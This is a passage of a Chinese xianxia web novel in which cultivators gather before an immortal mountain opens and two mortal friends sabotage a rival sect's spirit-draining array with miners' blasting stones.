阿茸用头蹭蹭她的手心,眼神温顺而坚定。
三日后,清晨。
苜蓿坡上的紫花开了更多,连成一片淡紫色的云。林照在坡顶最后检查行装:怀里是老谷头的麦穗,腰间是沈不言送的麦秆篓(里面装满了馒头和肉干),背上是用粗布仔细包裹的木斧和李虎送的镰刀。
阿茸站在她身边,金角上系了一小束苜蓿花——是豆苗今早特意给它编的。
山下,七宗选出的二十一人已在落星湖畔集合。林照这边,是她、沈不言,还有云游子指定的一名云游剑派年轻弟子,叫陈风,筑基后期,使一柄竹剑。
紫阳宗那边,青禾主动请缨,带了两位擅长丹道和阵法的师弟。
赤焰谷出乎意料地派出了炎阳子的亲传弟子炎烁——就是那个曾想拜林照为师的年轻人。炎阳子脸色铁青,但炎烁态度坚决:“师父,我想自己去看看真相。”
玄霄阁则由凌霄子的师弟凌虚子带队,配了两名精于符箓和禁制的弟子。
其余各宗也都派出了核心年轻力量。
二十一人在湖畔站成一排,朝阳把他们的影子拉得很长。
云游子、凌霄子等七位金丹以上前辈,则会在外围同步推进,既做策应,也互相监督。
“出发前,老夫有句话要说。”云游子走到众人面前,目光扫过每一张年轻的脸,“此去仙山,你们可能会看到颠覆认知的真相,可能会遭遇生死危机,也可能会……道心破碎。”
他顿了顿:“所以现在,有人想退出,还来得及。退出不丢人,活着才有未来。”
无人动弹。
云游子点点头:“好。那老夫再送你们一句话——”
他抽出背上古剑,剑身映着朝阳,却无半点杀气。
“剑可斩妖,可除魔,可断情,可问道。”云游子缓缓说,“但最高明的剑,不是斩断什么,而是护住什么。护住你们心里的那点念想——不管是故乡的一碗热汤,还是某个人的笑容,或者仅仅是一只小羊对苜蓿花的渴望。”
“记住这个,就不会迷路。”
二十一人都沉默了。不少年轻人下意识摸了摸怀里——那里或许有家人给的护身符,或许有心上人编的剑穗,或许只是一块普通的麦饼。
林照摸了摸阿茸的头。
“出发!”
二十一道身影腾空而起,向着东方大荒飞去。其中一道身影旁,跟着一只白羊,踏空而行,金角在朝阳下划出一道淡金色的轨迹。
晒谷观里,六个孩子跑到苜蓿坡顶,用力挥手。
豆苗手里攥着一把苜蓿花种子,小声说:“照姐,等你回来,花就开了。”
三千七百里外,葬骨原边缘。
仙山虚影在晨雾中若隐若现,白玉天梯已延伸至半山腰。
山脚下,第一批来自其他地域的修士,已经到了。
34. 云外故人归
北地,风陵渡口。
秋雨已经绵延下了三日,渡口那条青石路被洗得发亮,映着铅灰色的天空。陈砚撑着一把半旧的油纸伞,站在渡口最高的石阶上,望着江面上那艘缓缓靠岸的乌篷船。
船还未停稳,舱帘一掀,李慕云跳下船头。他没打伞,一身石青云纹直裰被雨浸得颜色深了一重,额发湿漉漉贴在额角,怀里却紧紧护着一个蓝布包袱。
“陈砚!”李慕云三步并两步跑上石阶,把包袱塞进他怀里,“东西都齐了——青州马家的商契、江陵周家的担保书、还有这个……”
他从怀中又掏出个油纸包,层层打开,里面是三块核桃大小的黑色石头,表面粗糙,透着隐隐的赤金纹路。
“北邙山的‘铁精矿’?”陈砚接过一块,入手沉重,“你从哪儿弄来的?李家矿上不是早就不出这个了吗?”
“是不出了。”李慕云抹了把脸上的雨水,眼睛亮得惊人,“但矿洞深处还埋着些祖宗留下的老料。我带了三个老矿工,在废矿道里挖了七天七夜,就得了这三块。够不够?”
陈砚握紧了石头。铁精矿是炼制法器的辅料,在修仙界不算稀罕,但在凡人商路里,是硬通货中的硬通货。这三块,足以换回李记矿行半年的流水。
“够了。”他深吸一口气,“但慕云,你把这压箱底的老料都挖出来,你爹那边……”
“我爹不知道。”李慕云笑了笑,那笑容里有种世家子弟少见的狠劲,“知道了又如何?李家在北地开矿七十年,靠的是‘信’字。如今万宝楼欺到门上,若连这口气都咽下去,祖宗在地下都要骂我们不肖。”
雨渐渐小了,变成细密的雨丝。两人并肩往渡口旁的茶棚走,陈砚收了伞,抖落伞面上的水珠。
“说说情况。”他在茶棚角落坐下,要了两碗粗茶。
李慕云从怀里掏出个小本子,上面密密麻麻记满了字:“万宝楼这三个月,已经吞了北地六家矿行。手法都一样——先高价收一小批矿,等矿行扩产,再突然压价,逼得资金链断裂,最后低价吞并。他们背后有修士坐镇,各家敢怒不敢言。”
“修士?”陈砚皱眉。
“两个筑基期,一个姓韩,一个姓赵。”李慕云喝了口热茶,身子暖和了些,“他们用鉴矿术做手脚,说咱们的矿含‘杂气’,值不了高价。但实际上……”
他从包袱里翻出几块李家矿上的普通矿石,又从怀里摸出个小瓷瓶,拔开塞子,倒了些白色粉末在一枚矿石上。
神奇的一幕发生了——那矿石表面迅速蒙上一层灰白,原本莹润的光泽消失殆尽,看起来就像块废石。
“这是……”陈砚瞳孔一缩。
“石灰粉混了寒冰草汁,晒干磨的。”李慕云压低声音,“韩修士袖子里就藏着这东西,鉴矿时悄悄抖上去,矿石瞬间失光。等矿行绝望低价卖出,他们再用药水一洗,转手就是十倍利。”
“好手段。”陈砚冷笑,“修仙修到这份上,也真是修到狗肚子里去了。”
“还有更绝的。”李慕云合上本子,“我打听到,万宝楼这次大张旗鼓吞并北地矿行,是为了囤积灵石原料。他们要做什么不清楚,但采购量极大,像是在为什么大事做准备。”
陈砚沉默了。他想起前几日收到的飞剑传书——是沈不言传来的,只有八个字:“仙山将开,速来,急。”
仙山……万宝楼……这两者之间,会不会有关联?
“陈砚。”李慕云忽然正色道,“你还记不记得,半年前咱们在玄霄阁试炼,最后选腰牌那日?”
怎么会不记得。
那是东域百年一度的“百派试炼”,天下年轻修士齐聚玄霄阁。林照、陈砚、李慕云,还有沈不言,四个出身各异的年轻人,在试炼中相识。最后一关前,玄霄阁让过关者自选腰牌——红色“争锋擂”,青色“外门弟子”,白色“游历凭证”。
陈砚记得,当时全场哗然。有人嘲笑,有人不解,只有他们四个——陈砚、李慕云、沈不言——默默走到林照身边,也掏出了自己的白色“游历凭证”。
后来他们才知道,那日负责试炼的鹤松真人就在暗处看着。老人抚须而笑,说了句:“云游四方,心在人间。好,好。”
再后来,四人一起下山,一起去晒谷观寻林照,一起在落星湖见证了天地树发芽。直到三个月前,李慕云收到家书,说北地矿行出事,才匆匆赶回。
“记得。”陈砚轻声说,“你说,咱们四个,就像四片云,聚了散,散了聚,但总归是在同一片天上。”
“对。”李慕云从怀中掏出那块腰牌——大半年了,林照现在在仙山脚下,沈师兄也在。陈砚,咱们该去了。”
陈砚也掏出自己的玉牌,摩挲着那个“云”字:“但李家这摊子……”
“我已经安排好了。”李慕云眼中闪过锐光,“万宝楼不是要囤矿吗?我让他们囤。从今天起,李记矿行所有矿洞封存,一块矿石都不外流。矿工照发工钱,让他们修整矿道、清理废石。我倒要看看,万宝楼能囤多少,又能囤多久。”
“可资金……”
“资金我有办法。”李慕云从包袱里取出那三块铁精矿,“这个,够撑三个月。三个月后,若我们还回不来……”
他没说完,但陈砚懂。
两人对坐,茶碗里的热气袅袅上升,在潮湿的空气里化开。茶棚外,雨彻底停了,一束微弱的阳光破开云层,照在渡口湿漉漉的青石板上。
“什么时候走?”陈砚问。
“明天一早。”李慕云说,“我爹那边,我留了信。就说……就说我跟你去南疆跑趟生意,年前一定回来。”
陈砚点点头,从怀中摸出个东西——是个小小的锦囊,布料已经洗得发白,上面绣着几穗麦子,针脚粗糙。
“这是什么?”李慕云问。
“离开晒谷观的时候林照给的。”陈砚打开锦囊,倒出里面的东西——是十几粒麦种,颗粒饱满,透着淡金色,“她说,这是晒谷观今年最好的麦种,让咱们无论走到哪儿,都记得老家有亩田,田里有穗麦。”
李慕云接过一粒麦种,小心地托在掌心。麦种在透过茶棚漏下的微光里,泛着温润的光泽。
“带上吧。”陈砚把锦囊重新系好,塞进李慕云手里,“咱们去见林照,总得带点家乡的东西。”
七日后,葬骨原边缘。
七宗的临时营地已经初具规模,各色帐篷依着地势散布,隐隐形成某种阵势。营地中央的空地上,青禾正带着紫阳宗弟子炼制清心丹,丹炉里飘出的药香混着大荒漠风的气息,有种奇异的和谐。
林照坐在营地西侧的一块风化石上,手里拿着个麦秆编的小篓,正一粒一粒往外挑麦子——是她从晒谷观带出来的最后一点麦种,打算等事情了了,找个地方种下。
阿茸趴在她脚边,金角上系着的苜蓿花早已干枯,但豆苗编的那个结还牢牢系着。小羊偶尔抬头蹭蹭林照的手,发出轻柔的“咩”声。
沈不言从远处走来,手里拿着两张刚画好的符箓:“林照,试试这个——我改良过的‘避风符’,应该能扛住大荒的罡风。”
林照接过符箓,黄纸上的朱砂符文透着淡淡的灵气波动。她刚要说话,营地外围忽然传来一阵骚动。
瞭望的弟子高声喊道:“东边来人了!两个,骑马!”
所有人都抬头望去。
大漠黄昏,残阳如血。两匹黑马从沙丘后转出,马上的人影在逆光里拉得很长。待走得近了,林照手中的麦篓“啪”地掉在地上,麦粒撒了一地。
陈砚勒马停下,翻身落地,动作干净利落。他穿一身靛蓝劲装,腰间挂着那柄小木剑,脸上带着笑,眼里却有长途奔波的疲惫。
李慕云紧随其后,石青直裰外罩了件皮坎肩,头发用根木簪束得一丝不苟,怀里抱着个蓝布包袱。
“林照!沈不言!”陈砚朗声笑道,“我们来晚了!”
沈不言先反应过来,大步上前,一拳捶在陈砚肩头:“就知道你们会来!”
林照却站在原地,看着那两个风尘仆仆的年轻人,喉咙发紧,一个字也说不出来。半年不见——上次分别时,李慕云还是个不知人间疾苦的富家少爷,陈砚是个手无缚鸡之力的温润少年。如今,一个眉宇间有了矿行少东家的沉稳,一个眼里添了走南闯北的江湖气。
“林照。”李慕云走上前,深深一揖,“慕云来迟了。”
林照这才回过神,上前扶起他,又看向陈砚,眼眶发热:“你们两个……不该来的!这里是什么地方,你们也敢来?”
“就是因为知道是什么地方,才更得来。”陈砚从怀里掏出那块腰牌,又指了指李慕云腰间同样的腰牌,“咱们四个的‘云游令’可都在呢。说好了,云游四方,同去同归。”
阿茸这时也认出了旧人,欢快地“咩”了一声,跑过来蹭陈砚的腿,陈砚蹲下摸摸它的头。
阿茸闻了闻,高兴地离开了。
营地里的其他弟子都围了过来。炎烁认得陈砚——之前试炼时,陈砚曾帮他解过一次围。他大步上前,重重拍了拍陈砚的背:“陈兄弟!你也来了!”
“炎烁师兄。”陈砚拱手,“半年不见,修为精进啊。”
“精进什么,还是筑基中期。”炎烁咧嘴一笑,看向李慕云,“这位是……”
“李慕云,我兄弟。”陈砚介绍道,“北地李记矿行的少东家。”
众人寒暄完,林照把陈砚和李慕云带到自己帐篷里。沈不言跟进来,随手布了个隔音结界。
“说吧。”林照给两人倒了水,“北地到底什么情况?你们怎么脱身的?”
李慕云从包袱里取出那个小本子,将万宝楼的事详细说了一遍。当说到韩、赵两位修士用手段压价时,沈不言的脸色沉了下来。
“修行之人,竟做这种龌龊事。”他冷声道,“天衍宗……我记住了。”
“还有更
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重要的。”陈砚接过话头,“我们出发前,得到消息——天衍宗这次派往仙山的人,不止明面上那几个。他们在北地搜刮灵石原料,似乎是要布置一个大型阵法,具体做什么不清楚,但肯定和仙山有关。”
林照和沈不言对视一眼,都想到了“摄灵阵”。
“你们带来的消息很重要。”林照沉吟道,“但现在仙山将开,七宗已经达成临时协议,三日后就要进入仙山范围。天衍宗那边,只能见机行事了。”
“我们也去。”李慕云忽然说。
“不行!”林照和沈不言异口同声。
“为什么不行?”陈砚反问,“林照,半年前试炼,咱们四个一起过关的时候,你可没说过我们不行。”
“那不一样!”林照急了,“那是试炼,这是仙山!里面有什么危险谁都不知道,连金丹修士都不敢说全身而退,你们……”
“我们不是去闯仙山的。”李慕云平静地说,“我们在外围。陈砚带了陈家商行的十二个老伙计,都是走南闯北的好手。我带了十个矿工护卫,熟悉山地地形。我们在仙山外围扎营,做你们的后援——备粮、备药、备退路。”
沈不言皱眉:“但大荒凶险,你们凡人……”
“凡人也有凡人的活法。”陈砚笑了,那笑容里有种不容置疑的坚定,“沈不言,你信不信,在某些事上,我们比修士更在行。比如认路——慕云带了李家祖传的《北荒商道图》,上面标的水源、暗流、流沙带,比任何玉简地图都详细。比如辨天气——老矿工看云识风的本事,不比望气术差。再比如……”
他从怀里掏出个小布包,打开,里面是几十个拇指大小的竹筒:“陈家特制的‘千里香’,点燃后百里可见烟,三日不散。万一你们在仙山里遇险,放一支,我们就能找到方位。”
帐篷里安静下来。油灯的火苗跳动,在三人脸上投下晃动的光影。
许久,林照才轻声问:“你们想清楚了?这一去,可能回不来。”
“想清楚了。”李慕云从怀中掏出那个锦囊,倒出一粒麦种,“林照,你还记得你曾告诉我们老谷头说过的话吗?你说,人这一生,就像种麦子——该扎根时扎根,该抽穗时抽穗,该弯腰时弯腰。但最重要的是,要知道自己为什么扎根,为什么抽穗,为什么弯腰。”
他握紧那粒麦种:“我来这里,不是为了成仙,是为了弄明白——那些高高在上的‘仙’,凭什么决定我们这些凡人的命?凭什么夺我们的矿,断我们的路,还要我们感恩戴德?这个道理若弄不明白,我李慕云这辈子,就算守着金山银山,也是白活。”
陈砚接道:“我也是。林照,你教我,人活着要活得明白。现在有人告诉我,仙山是骗局,天梯是囚笼,飞升是养料——那我更得亲眼去看看,看看那到底是个什么东西。看明白了,回来告诉天下人,告诉李虎、豆苗他们,这世上的路,不止天上那一条。”
沈不言忽然笑了,那笑容里有欣慰,有感慨,也有豪气:“好!好一个‘云游四方’!林照,让他们去吧。有些路,总得有人走;有些事,总得有人做。”
林照看着眼前这三个男人——沈不言沉稳如剑,陈砚锐利如刀,李慕云温润如玉。他们站在一起,就像一道密不透风的墙。
她终于点了点头:“好。但你们答应我,只在最外围,绝不深入。一旦情况不对,立刻就走。”
“我们答应。”三人齐声道。
当晚,营地里燃起了盛大的篝火。陈砚让伙计们搬出带来的十坛北地烈酒,拍开泥封,酒香混着肉香,弥漫在整个营地。
“诸位道友!”陈砚举起酒碗,朗声道,“我和慕云是凡人,不懂什么高深道法。但我们知道,人活一世,求的就是个明白!这碗酒,敬各位敢上仙山、敢问天道的气魄!干了!”
“干了!”
二十一名年轻修士,三十个凡人伙计护卫,五十多只酒碗高高举起,在篝火映照下泛着琥珀色的光。烈酒入喉,烧得胸口滚烫,却也烧掉了一些门户之见,烧出几分同袍之义。
夜深时,陈砚和李慕云带着车队离开七宗营地,往东边十五里外的一处背风坡扎营。那里有条干涸的古河道,易守难攻,是李慕云从祖传地图上找到的。
林照送他们到营地边缘。
两匹黑马,三十人的车队,缓缓消失在夜色里。大漠的星空低垂,银河横亘天际,像一条发光的河,流向不可知的远方。
沈不言走到林照身边:“他们会没事的。”
“我知道。”林照仰头看着星空,“我只是……只是突然觉得,老谷头说得对。仙不在天上,在你想去的地方。而我想去的地方,是有他们在的地方。”
东方天际,仙山的虚影在夜色中越发清晰。那座白玉天梯,今夜又向下延伸了一级。
三日后,仙山之门,将开。
而门外的这些人,无论修仙者还是凡人,都将用自己的方式,去叩问那个千年的谜题。
35. 大阵起时
仙山现世的第七日,葬骨原起了大风。
那风来得古怪,清晨时还只是微澜,到了午后,便成了铺天盖地的黄沙暴。沙粒打在帐篷上,发出密集的噼啪声,像千万只虫子在啃噬帆布。营地里,各宗弟子纷纷加固阵法,五色灵光在沙暴中明明灭灭,像风浪里的孤灯。
林照站在自己帐篷门口,手中捏着一枚麦粒——是陈砚那夜悄悄塞给她的,说是从晒谷观带出来的最后几粒。麦粒在掌心微微发烫,仿佛还能感受到那片土地的余温。
“林师妹。”身后传来青禾的声音。这位紫阳宗的女修今日换了身利落的劲装,长发束成高马尾,手里托着个玉盘,盘上三枚青色丹药正散发着柔和光晕,“这是刚炼成的‘定风丹’,含在舌下,可抵御罡风侵体。”
林照接过丹药,道了声谢,又问:“青禾师姐,这风……可有古怪?”
青禾望向东方那片在沙暴中若隐若现的仙山虚影,眉头微蹙:“按说大荒起风是常事,但这风里……有股极淡的灵力波动,像是人为催动的。”
正说着,沈不言掀开帐帘进来,肩头落了一层黄沙。他拍打两下,沉声道:“凌虚子师兄那边推演出来了——这风不是天灾,是阵法引动的。源头在东北方向,三十里外。”
“天衍宗?”林照立刻反应过来。
“十有八九。”沈不言点头,“他们的营地就在那个方位。凌虚子说,这风阵只是前奏,真正的杀招还在后面。他建议我们提前行动,趁风势未到最烈时,先探一探仙山外围。”
“何时出发?”
“半个时辰后。”沈不言看向青禾,“青禾师妹,紫阳宗这边……”
“我去。”青禾毫不犹豫,“丹道弟子虽不善攻伐,但辨毒识瘴、疗伤解毒,总有用处。”
三人正商议着,帐篷外忽然传来急促的脚步声。炎烁一头撞进来,身上赤焰谷的红袍沾满沙土,脸上却带着兴奋:“林师妹!沈师兄!陈砚兄弟那边有消息了!”
“什么消息?”
炎烁从怀里掏出个竹筒——正是陈砚带来的“千里香”信号筒,但此刻竹筒已经被打开过,里面塞了张纸条。他展开纸条,上面是李慕云工整的小楷:
“东北三十五里,鬼哭峡,天衍宗正布大阵。阵眼三处,需百枚上品灵石催动。今日酉时,韩长老将开阵试验。若成,百里之内灵气皆为其所控。慕云笔。”
纸条末尾,还画了个简易的地图,标注了鬼哭峡的地形和三个阵眼的大致位置。
沈不言接过纸条,脸色凝重:“酉时……那就是日落时分。现在已是申时初,只剩下一个时辰。”
“去不去?”炎烁问。
帐篷里安静了片刻。沙暴拍打帆布的声音越来越响,像有千军万马在营外奔腾。
林照收起那枚麦粒,握紧了腰间的木斧:“去。但不是硬闯。青禾师姐,营地这边交给你,若我们日落前未归,你就带人撤离,去风鸣坡与陈砚他们会合。”
“我跟你去。”沈不言说。
“还有我!”炎烁挺起胸膛。
林照看了两人一眼,点点头:“好。但我们只探不战,看清阵法虚实便回。”
半个时辰后,三道身影顶着狂风,向东北方向疾行。
林照将定风丹含在舌下,果然觉得周身气流温顺了许多。她施展出自创的“踏云步”——步法脱胎于晒谷观晾晒麦子时的走动轨迹,看似随意,实则每一步都踏在风势的间隙里,竟比沈不言的御风术还要轻灵三分。
炎烁看得啧啧称奇:“林师妹,你这步法……是跟谁学的?”
“跟麦浪学的。”林照简短答道,“麦子被风吹倒,不是硬抗,是顺势弯腰,等风过了再站起来。风越大,弯得越低,但根扎得越深。”
沈不言若有所思:“以柔克刚,以退为进……这道理简单,但能做到的太少。”
三人疾行约莫两刻钟,前方地形渐变。平坦的荒漠开始出现嶙峋的黑色山岩,风从岩缝间穿过,发出凄厉的呜咽声——这便是“鬼哭峡”名字的由来。
李慕云的地图画得很准。三人按图索骥,很快找到一处隐蔽的岩隙。从这里向下望,正好能将峡谷内的情况尽收眼底。
只见峡谷底部,已经被清理出一片平整的空地。空地中央,三个丈许高的青铜阵基呈三角分布,每个阵基上都镶嵌着数十枚灵石,灵石泛着诡异的紫黑色光芒。阵基之间,用鲜血画出了复杂的符文,那些符文在风沙中竟然丝毫不损,反而隐隐发亮。
二十余名天衍宗弟子正在忙碌。他们穿着统一的玄色道袍,袖口绣着银色星纹,动作整齐划一,显然是训练有素。为首的是一位白发老者,正是天衍宗的韩长老——李慕云情报中提到的那位。
韩长老手里托着个罗盘状的法器,正在三个阵基间来回走动,不时掐诀测算。他身后的两名中年修士,则指挥弟子们将更多的灵石搬运到指定位置。
“一百零八枚上品灵石……”沈不言压低声音,语气里带着惊怒,“他们这是要把方圆百里的灵气抽干吗?”
林照没说话。她闭上眼睛,将心神沉入脚下的大地。
自从成为自然大阵的阵枢后,她对地脉灵气的感知敏锐了十倍不止。此刻,她能清晰地“看见”——以鬼哭峡为中心,三条粗壮的灵气脉络正从地下被强行抽出,注入那三个青铜阵基。灵气流过之处,地脉枯竭,草木凋零,连岩石都失去了光泽。
更可怕的是,这抽取的势头还在增强。照这个速度,不出三个时辰,方圆五十里内将成为灵气真空地带。到那时,所有依赖灵气修行的修士,都将如离水之鱼,实力大损。
“这不是普通的聚灵阵。”林照睁开眼,声音发冷,“这是‘抽髓阵’——上古禁术中的禁术,以毁坏地脉为代价,强行抽取灵气。布此阵者,必遭天谴。”
“他们疯了?”炎烁难以置信,“毁了地脉,这片土地百年都恢复不过来!”
“所以他们选在葬骨原。”沈不言咬牙,“这里本就是大荒绝地,毁了也没人在意。等仙山之事了结,他们一走了之,谁会追究?”
正说着,峡谷内的韩长老忽然停下脚步。他抬头望天——虽然隔着沙暴,但能看出天色正在转暗,已是黄昏时分。
“时辰到了。”韩长老声音不大,却清晰地传到岩隙这边,“布‘摄灵网’。”
弟子们闻令而动。八名弟子各持一面黑色阵旗,分八个方位站定。阵旗扬起,旗面上浮现出密密麻麻的银色符文,那些符文离旗飞出,在空中交织成一张巨大的网。
网成的那一刻,林照浑身汗毛倒竖。
她感觉到,那张网不仅笼罩了峡谷,更延伸向虚空,捕捉着某种无形无质的东西——那是天地间游离的“道韵”,是修士吐纳时散逸的灵机,甚至……是生灵呼吸间带出的生命气息。
“他们在捕‘灵’。”林照声音发颤,“活物的灵。”
沈不言和炎烁也感觉到了。三人不约而同地运转功法,将自身气息收敛到极致。但即便如此,还是有一丝微弱的牵引力从那张网上传来,仿佛有无数细小的钩子,要钩走他们魂魄深处的某些东西。
峡谷内,韩长老看着逐渐成型的摄灵网,脸上露出满意的神色。他转身对身后两名中年修士道:“赵师弟,孙师弟,你们各守一阵眼。待网成,先试收百里游灵,若成,再扩至三百里。”
“师兄。”那位赵修士犹豫了一下,“此阵太过霸道,万一伤及无辜……”
“无辜?”韩长老冷笑,“赵师弟,你修行两百年,还不明白吗?这世间,哪有什么真正的无辜。仙路争锋,本就是夺天地造化、抢众生机缘。今日我们不夺,他日便是别人来夺我们。”
他望向仙山方向,眼中闪过狂热:“仙山现世,天梯将成。这是千年未有的大机缘,也是千年未有的大劫。我天衍宗若想在此劫中胜出,就必须有足够的‘资粮’。这些游灵、这些地脉灵气、甚至那些不自量力的小宗门弟子……都是资粮。”
岩隙里,炎烁听得拳头紧握,指甲掐进了掌心。沈不言按住他的肩,微微摇头。
就在这时,异变突生。
峡谷西侧,一处看似普通的岩壁突然炸开!碎石飞溅中,三道黑影疾射而出,直扑最近的阵基!
那三人皆穿黑衣,蒙面,但出手狠辣,招式凌厉,显然不是庸手。为首一人更是金丹修为,一掌拍出,罡风如刀,瞬间将守在阵基旁的四名天衍宗弟子震飞。
“敌袭!”韩长老厉喝,却不慌乱,反而露出一丝诡异的笑容,“果然来了。”
他手中罗盘一转,那面刚刚成型的摄灵网突然调转方向,朝着三名黑衣人当头罩下!
黑衣人首领反应极快,身形急退,同时祭出一面青铜盾牌。盾牌迎风便长,化作丈许大小,挡在身前。但摄灵网却如虚似幻,轻易穿透了盾牌,继续罩落。
“不好!”黑衣人首领大惊,想要再退,却已来不及。
摄灵网落下的瞬间,三名黑衣人同时僵住。他们身上,各自飘出三缕淡金色的雾气——那是金丹修士的本命精元,也是道韵最浓郁的部分。雾气被摄灵网一裹,迅速抽走,注入阵基之中。
阵基上的紫黑光芒大盛。
而三名黑衣人,则以肉眼可见的速度衰老下去。皮肤皱缩,头发变白,气息急剧衰落。不过三息时间,三名金丹修士,竟被硬生生抽成了三个白发苍苍、气息奄奄的老人。
“这……”岩隙里,炎烁倒吸一口凉气。
沈不言脸色铁青:“他们不是要杀敌,是要抽干敌人的修为和寿元,化为己用。这比魔道还狠毒!”
峡谷内,韩长老走到那三个瘫软在地的黑衣人面前,俯身查看:“啧啧,三个金丹初期……能换三十枚上品灵石了。赵师弟,拖下去,好生看管,等阵成了,再慢慢抽。”
他直起身,环顾四周:“还有哪位道友想试试我这‘摄灵阵’?韩某恭候。”
声音在峡谷中回荡,带着毫不掩饰的嚣张。
无人应答。风沙依旧,但峡谷内外,一片死寂。
韩长老等了片刻,见无人现身,这才满意地点头:“看来是学聪明了。那么,继续布阵。日落之前,我要看到摄灵网覆盖百里。”
弟子们应声而动,更加忙碌起来。
岩隙里,林照深吸一口气,看向沈不言和炎烁:“走。回去通知大家,天衍宗的阵比我们想象的更可怕。硬闯是送死,必须另想办法。”
三人悄然后退,借着风沙掩护,迅速撤离。
就在他们离开后不久,峡谷东侧的另一处岩隙里,缓缓走出两个人。
正是陈砚和李慕云。
两人身上披着特制的“隐息蓑衣”——蓑衣用北地一种罕见的寒潭草编织而成,能完美遮蔽凡人的气息。这也是他们能潜入到此,而不被修士察觉的原因。
“看到了?”陈砚低声问,声音里压着怒火。
李慕云点头,手里握着一支炭笔,正在一块薄木板上飞快勾勒。他在画峡谷的地形、阵基的位置、人员的分布,甚至那些符文的走向。
“三个阵基,呈天地人三才位。天位阵基最强,但守备最松;人位最弱,但守备最严。”李慕云一边画一边分析,“他们布阵的手法,很像矿工开凿矿道——先定主脉,再分支脉。如果我们能破坏主脉……”
“怎么破坏?”陈砚问,“咱们是凡人,靠近都难。”
李慕云停下笔,从怀里掏出个小布袋。布袋打开,里面是几十颗拇指大小的黑色珠子,珠子表面粗糙,泛着金属光泽。
“还记得这个吗?”李慕云拿起一颗,“北邙山的‘雷火石’,矿工用来炸矿的。这东西不靠灵气,靠的是硫磺和硝石的反应。引爆后,威力不逊于筑基修士一击。”
陈砚眼睛亮了:“你是说……”
“天衍宗的人绝对想不到,会有凡人用矿工的手段来破阵。”李慕云收起木板,眼神坚定,“陈砚,你带十个伙计,去西边的风道埋设雷火石。动静要大,吸引他们的注意力。我趁乱潜入,在人位阵基下埋设主药。”
“太危
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险了!”陈砚抓住他的胳膊,“万一被发现……”
“被发现就跑。”李慕云笑了,那笑容里有世家子弟少见的决绝,“我李慕云读了十几年圣贤书,今天才明白——圣贤说的‘舍生取义’,不是要你白白送死,是要你在该拼命的时候,有拼命的勇气。”
他看向峡谷中那些忙碌的玄色身影:“这些人,为了自己的仙路,要抽干这片土地的生息。若让他们成了,北地矿工吃什么?晒谷观的麦子怎么长?林照他们,又拿什么去争那一线生机?”
陈砚沉默了。他想起小时候,他爷爷常说的一句话:“人啊,不能光想着自己活,得想着让别人也能活。”
许久,他重重点头:“好。但你答应我,一旦情况不对,立刻撤。信号就用‘千里香’,红色为危,绿色为安。”
“我答应。”
两人对视一眼,在呼啸的风沙中,用力击掌。
日落时分,鬼哭峡内的摄灵阵即将完成。
韩长老站在天位阵基前,手中罗盘指针疯狂转动。他深吸一口气,正要下令启动大阵——
轰!
西侧峡谷突然传来一连串巨响!爆炸声震耳欲聋,碎石如雨落下,整片山壁都在震颤!
“怎么回事?!”韩长老厉声问。
一名弟子仓惶来报:“长老!西边风道塌了!像是……像是矿崩!”
“矿崩?”韩长老一愣,随即脸色大变,“不好!调虎离山!快回守阵基!”
但已经晚了。
趁着所有人注意力被西边爆炸吸引的瞬间,一道石青身影如鬼魅般潜入峡谷。李慕云动作极快——他从小在矿山上长大,攀岩走壁的本事比许多修士还强。几个起落,便到了人位阵基下方。
那里有个半人高的缝隙,是阵基与山岩的连接处。李慕云从怀中掏出三个油纸包——里面是调配好的雷火石主药,威力比普通雷火石大三倍。他将油纸包塞进缝隙深处,又拉出三根浸了油的麻绳作为引信。
做完这一切,不过十息时间。
他正要撤离,身后忽然传来一声冷喝:“什么人!”
李慕云浑身一僵,缓缓回头。只见那位赵修士不知何时出现在了身后,手中长剑已出鞘,剑尖正对着他的咽喉。
“凡人?”赵修士皱眉,眼中闪过疑惑,“你怎么进来的?”
李慕云没回答。他深吸一口气,忽然笑了:“这位仙长,您知道矿工最怕什么吗?”
赵修士一怔。
“最怕……矿洞里有气。”李慕云说着,从怀里掏出火折子,迎风一吹,火苗燃起,“而最不怕的,是和矿洞同归于尽。”
话音未落,他将火折子往地上一扔!
地面早已被他洒了一层薄薄的硫磺粉,见火即燃。火焰顺着硫磺线,瞬间烧向那三根浸油麻绳!
“你找死!”赵修士大怒,一剑刺来!
李慕云侧身躲过,肩头被划出一道血口。但他不退反进,扑向赵修士,死死抱住对方的腰!
“放手!”赵修士又惊又怒,举剑要刺——
轰隆!!!
人位阵基下方,三道爆炸声几乎同时响起!
那声音不像法术轰鸣,而是沉闷的、来自大地深处的怒吼。整个阵基被炸得离地三尺,镶嵌的灵石半数崩飞,那些鲜血绘制的符文瞬间黯淡下去。
连锁反应开始了。
人位阵基受损,天地二位的平衡被打破。三个阵基间的灵力流转出现紊乱,摄灵网开始扭曲、颤抖,发出刺耳的嗡鸣声。
“不——!”韩长老目眦欲裂,疯狂掐诀想要稳住阵法。
但已经来不及了。
失去了人位阵基的调和,天地位阵基的灵力开始对冲、碰撞。峡谷上空,那张巨大的摄灵网寸寸断裂,化作漫天光点消散。而那些被强行抽取的地脉灵气,失去束缚,如决堤洪水般反冲回来!
轰!!!
更加剧烈的爆炸发生了。这次不是雷火石,是灵力暴走引发的天地之威。三个青铜阵基同时炸裂,冲击波横扫峡谷,将二十余名天衍宗弟子震得东倒西歪。
烟尘弥漫中,李慕云被气浪掀飞,重重撞在岩壁上。他咳出一口血,却咧嘴笑了。
成了。
赵修士狼狈地爬起身,看着一片狼藉的峡谷,看着那些碎裂的阵基,看着韩长老铁青的脸,忽然明白了什么。
他转头看向岩壁下那个浑身是血、却还在笑的凡人青年,眼中第一次露出了恐惧。
那不是对力量的恐惧。
是对某种他无法理解的东西的恐惧——为什么一个凡人,明知必死,还要来?为什么他毁了阵法,还能笑?
李慕云扶着岩壁站起来,抹了把嘴角的血,看向西方——那是风鸣坡的方向,也是陈砚他们撤离的方向。
他掏出最后一支“千里香”,点燃。
绿色的烟雾冲天而起,在黄昏的天幕下,像一株倔强生长的草。
然后他转身,面对那些渐渐围上来的玄色身影,缓缓抽出腰间那柄防身的短刀。
刀是普通的铁刀,刃口甚至有些卷。
但他握得很稳。
就像很多年前,他第一次下矿洞时,父亲对他说的话:“慕云,记住——人这一辈子,总会遇到些不得不扛的事。扛住了,你就是条汉子;扛不住,也至少得站着倒下。”
风从峡谷穿过,呜咽声如泣如诉。
而在三十里外,正在疾驰回营的林照忽然心口一痛。她停下脚步,回头望向鬼哭峡方向,隐约看见一道绿色烟柱,在暮色中缓缓升起。
“那是……”她喃喃道。
